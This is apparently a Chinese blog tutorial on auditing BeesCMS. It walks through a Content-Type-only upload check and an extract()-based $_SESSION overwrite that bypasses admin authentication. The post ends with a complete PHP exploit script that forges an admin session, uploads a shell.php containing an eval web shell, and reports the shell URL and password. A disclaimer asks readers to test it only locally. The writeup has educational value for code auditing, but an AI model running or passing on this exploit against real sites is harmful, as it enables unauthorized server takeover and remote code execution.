代码审计就该这么来3 beescms getshell
前言
上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作,sql注入。并且拿sql做为例子简单做了一次代码审计,今天换一个思路,从文件操作部分入手,毕竟 文件操作一个搞不好就是getshell,比起注入按部就班慢慢来可要爽快多了。
一、关注重点
对于文件操作部分来说,首先对php内置的文件操作函数的作用和特性要有一个大概的了解
file_get_contents()
file_put_contents()
move_uploaded_file()
readfile()
fopen()
file()
fputs()
fwrite()
…………
这些都是常用的文件读写类函数,一般文件类的漏洞直接搜索这些函数的调用,跟踪上下文参数传递过程就可以了。说起来挺简单
其实要一个一个调用看过去还是很费时间的,尤其是在快速漏洞挖掘中,对系统结构还不太熟悉,有些参数传递或者方法可能一眼看上去就懵比了。那么如何来快速发现一个文件类的漏洞呢。
审计文件类的漏洞,首先我会去看这套系统的上传部分。上传部分是已经构造完成的一套从输入到写入到输出的流程,如果其中存在问题,那么很可能直接就拿到shell。
上传漏洞被挖了这么多年,各类cms或多或少都会在上传部分做一些检查和限制,常见的检查有
1、$_FILES['file']['name'] 一般会从上传文件的文件名中取出扩展名,并与白名单或者黑名单做比较来判断是否继续上传。
2、$_FILES['file']['type'] 上传文件的类型,一般是与白名单比较。
3、$_FILES['file']['tmp_name'] 上传文件的临时保存文件,有些比较严谨的CMS会在这个阶段 用getimagesize等函数对临时文件做检查。如文件不合法 直接丢弃
常见的限制有
1、使用is_uploaded_file() 这个函数会检查$_FILES['file']['tmp_name'] 是否为合法的上传文件,当$_FILES被漏洞覆盖的时候,可被修改的$_FILES['file']['tmp_name']将是一个极大的安全威胁,如果处理文件上传的函数是copy 那么最轻都是一个任意文件读取的漏洞。
2、单独使用move_uploaded_file()函数处理上传文件,理由同上,move_uploaded_file函数也会判断是否为合法文件。减少系统存在变量覆盖漏洞时躺枪的概率。
3、文件名不可控且后缀名限制为某个数组的成员 比如
$ext=array(‘jpg’,'png’,'gif’);
$filename = ‘user_avatar_01′ . $ext[$s];
接下来就看看我们的目标beescms
二、实战
先来看看beescms的上传部分代码
if(isset($_FILES['up'])){
if(is_uploaded_file($_FILES['up']['tmp_name'])){
if($up_type==’pic’){
$is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
$thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
$thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
$logo=0;
$is_up_size = $_sys['upload_size']*1000*1000;
$value_arr=up_img($_FILES['up'],$is_up_size,array(‘image/gif’,'image/jpeg’,'image/png’,'image/jpg’,'image/bmp’,'image/pjpeg’),$is_thumb,$thumb_width,$thumb_height,$logo);
$pic=$value_arr['pic'];
if(!empty($value_arr['thumb'])){
$pic=$value_arr['thumb'];
}
$str=”<script type=\”text/javascript\”>$(self.parent.document).find(‘#{$get}’).val(‘{$pic}’);self.parent.tb_remove();</script>”;
echo $str;
exit;
}//图片上传
}else{
die(‘没有上传文件或文件大小超过服务器限制大小<a href=”javascript:history.back(1);”>返回重新上传</a>’);
}
}
可以看到 用is_uploaded_file检查了上传文件是否合法,所以即使系统有变量覆盖漏洞(这套系统的确是有的,后面会说),也帮不上多大忙了
实际上传用的是up_img函数 接着跟过去看看
function up_img($file,$size,$type,$thumb=0,$thumb_width=”,$thumb_height=”,$logo=1,$pic_alt=”){
if(file_exists(DATA_PATH.’sys_info.php’)){include(DATA_PATH.’sys_info.php’);}
if(is_uploaded_file($file['tmp_name'])){
if($file['size']>$size){
msg(‘图片超过’.$size.’大小’);
}
$pic_name=pathinfo($file['name']);//图片信息
$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type)){
msg(‘上传图片格式不正确’);
}
$path_name=”upload/img/”;
$path=CMS_PATH.$path_name;
if(!file_exists($path)){
@mkdir($path);
}
$up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt;
$up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name);
$file_name=$path.$up_file_name2.’.’.$pic_name['extension'];
if(file_exists($file_name)){
msg(‘已经存在该图片,请更改图片名称!’);//判断是否重名
}
$return_name['up_pic_size']=$file['size'];//上传图片大小
$return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名
$return_name['up_pic_name']=$up_file_name;//上传图片名
$return_name['up_pic_path']=$path_name;//上传图片路径
$return_name['up_pic_time']=time();//上传时间
unset($pic_name);
//开始上传
if(!move_uploaded_file($file['tmp_name'],$file_name)){
msg(‘图片上传失败’,”,0);
}
好了来看看他的检查和限制
$file_type=$file['type'];
if(!in_array(strtolower($file_type),$type)){
msg(‘上传图片格式不正确’);
}
这里检查了上传文件的type 如果type不在白名单里 就直接提示出错
这个检查其实做的是无用功,type来自客户端,想怎么伪造都可以
再来看看保存的文件名
$pic_name=pathinfo($file['name']);//图片信息
…………
$up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt;
$up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name);
$file_name=$path.$up_file_name2.’.’.$pic_name['extension'];
并没有做任何检查就直接取了$file['name'](就是我们上传时候的文件名)的后缀来给新生成的文件,只要伪造合法的type就能妥妥的getshell了
三、一波三折
结束了么?并没有,其实beecms这套系统前台根本就没有上传点。。。所有的上传功能都需要后台权限。一个后台getshell当然不能满足,于是继续挖掘。先来看看是怎么验证后台权限的
admin/upload.php第二行
include(‘init.php’);
admin/init.php 第54行
if(!is_login()){header('location:login.php');exit;}
来看看这个is_login函数
includes/fun.php 第997行
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}
}
来看看这个is_login函数
includes/fun.php 第997行
function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}
}
这里并没有对用户信息做检查,只是单纯的判断了是否存在login_in admin这两个session标识位和是否超时而已
前面说到过这套系统存在变量覆盖漏洞 如果能覆盖(添加)这几个$_SESSION值 就能绕过这个检查
$_SESSION覆盖有个必须前提,session_start()必须出现在覆盖之前,不然就算覆盖了$_SESSION变量,一旦session_start() 变量就会被初始化掉。
来看看覆盖的地方
includes/init.php 部分代码省略
session_start();
@include(INC_PATH.'fun.php');
define('IS_MB',is_mb());
unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);
if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
一个全局过滤的代码,最后用extract来初始化变量 由于没有使用EXTR_SKIP参数导致任意变量覆盖,又由于执行的时候已经session_start()了
所以可以覆盖(添加)任意$_SESSION值。 这么一来就能绕过后台检查把一个后台getshell变成前台getshell了
四、利用
利用就很简单了,首先POST index.php
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
然后打开/admin/upload.php 选择一个php文件上传
修改上传包中的Content-Type:为image/png就可以了
算了还是把exp放上来吧。。。
利用脚本具有攻击性,请在本地环境进行测试!
请勿针对任何互联网站点使用本脚本!
利用本脚本造成的一切后果与本人无关!
<?php
print_r('
****************************************************
*
* Beescms File Upload Vulnerability
* by SMLDHZ
* QQ:3298302054
* Usage: php '.basename(__FILE__).' url
* php '.basename(__FILE__).' [url]http://www.beescms.com/beescms/[/url]
*
****************************************************
');
if($argc!=2){
exit;
}
$uri = $argv[1];
$payload1 = '_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999';
$payload2 = array(
'up"; filename="shell.php"'."\r\nContent-Type:image/png\r\n\r\n<?php eval(\$_POST['x']);?>"=>''
);
preg_match('#Set-Cookie:(.*);#',myCurl($uri."/index.php",$payload1),$match);
if(!isset($match[1])){
die('[-]Opps! Cannot get Cookie...');
}
echo "[+]Got Cookie:".$match[1]."\r\n";
echo "[+]Now trying to getshell...\r\n";
$tmp = myCurl($uri."/admin/upload.php",$payload2,$match[1]);
preg_match('#val\(\'(.*)\'\)#',$tmp,$shell);
if(!isset($shell[1])){
die('[-]Opps! Cannot get shell... see below\r\n'.$tmp);
}
echo "[+]Your shell:".$uri."/upload/".$shell[1]." [password]:x"; function myCurl($url,$postData='',$cookie=''){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if($cookie != ''){
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
$ret = curl_exec($ch);
curl_close($ch);
return $ret;
}
总结
写文章真尼玛累,其实整篇文章对于一个熟悉php代码审计的人来说,两句话就能说清楚了
前台变量覆盖$_SESSION可绕过后台验证
后台上传部分只验证了Content-Type导致getshell
为什么写这么多,并不是为了多赚稿费(要是按字收费就好了。。。)我是希望不管小伙伴们懂不懂代码审计,都能看得下去这篇文章,不说看完能学到多少,至少step by step读下来没那么枯燥,新手看下来也能觉得有收获。
代码审计就该这么来3 beescms getshell的更多相关文章
- PHP代码审计中你不知道的牛叉技术点
一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实 ...
- 技术专题-PHP代码审计
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/24472674来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 一.前言 php代码审计如字面 ...
- 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
- ZZZPHP1.61 代码审计-从SQL注入到Getshell
近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...
- 【代码审计】后台Getshell的两种常规姿势
0x00 前言 在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作. 这里结合代码实例介绍白盒Ge ...
- [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
- [代码审计]云优cms V 1.1.2前台多处sql注入,任意文件删除修复绕过至getshell
0X00 总体简介 云优CMS于2017年9月上线全新版本,二级域名分站,内容分站独立,七牛云存储,自定义字段,自定义表单,自定义栏目权限,自定义管理权限等众多功能深受用户青睐,上线短短3个月,下载次 ...
- [代码审计]covercms 后台getshell
0x00 环境介绍 CMS名称: covercms 运行环境: php 5.6.27-nts + apache + mysql 系统版本: 1.16 漏洞等级:高危 漏洞简介: 后台awnotas.i ...
- [代码审计]phpshe开源商城后台两处任意文件删除至getshell
0x00 背景 这套系统审了很久了,审计的版本是1.6,前台审不出个所以然来.前台的限制做的很死. 入库的数据都是经过mysql_real_escape_string,htmlspecialchars ...
随机推荐
- 【317】python 指定浏览器打开网页 / 文件
一.python 打开浏览器的方法: 1. startfile方法(打开指定浏览器) import os os.startfile("C:\Program Files\internet ex ...
- kubenetes GPU
https://kubernetes.io/docs/tasks/manage-gpus/scheduling-gpus/#deploying-nvidia-gpu-device-plugin 1. ...
- Vertex color blending & UV tiling
[Vertex color blending & UV tiling] 1.GemotryData控件用于代码顶点数据,如网格中的Vertex Color(下左图),UV Coord(下右图) ...
- 《GB/T 20988-2007:信息系统灾难恢复规范》[中](国家质检总局 & 国标委)阅读笔记
第 0 章:引言 [感]GB/T 20988 引用了 SHARE 78 会议(标准)上的有关内容和思想,并结合国家重要信息系统行业技术发展和实践经验制定而成. GB/T 20988 提出了信息系统灾难 ...
- maven下拉项目不能同步
maven下拉项目不能同步,如下图: 解决方法: 对项目右键,team, 选择这里 我选择第一项,有的需要根据情况选择第二项,如果点击完成后,还是不能同步代码,对项目右键,team,disconnec ...
- Oracle之SYSDBA的使用
曾经没加名字可以创建一个表却要加名字才可以查出来,但只是偶然吧! 如果真的使用了SYSDBA,必须加名字
- 存储过程返回update结果集和insert主键
update teacher set name ='111' where id in(286,289);print @@rowcount;--或select将查出,是@@rowcount,不是@row ...
- Golang之匿名函数和闭包
Go语言支持匿名函数,即函数可以像普通变量一样被传递或使用. 使用方法如下: main.go package main import ( "fmt" ) func main() { ...
- UI设计可供性解析:巧用隐藏的设计力提升用户体验
以下内容由Mockplus团队翻译整理,仅供学习交流,Mockplus是更快更简单的原型设计工具. 在实际的Web或App界面设计中,设计师们在学习和实践各种专业知识和技能之外,也会不可避免的遇到到各 ...
- 15 Independent Alleles
Problem Figure 2. The probability of each outcome for the sum of the values on two rolled dice (blac ...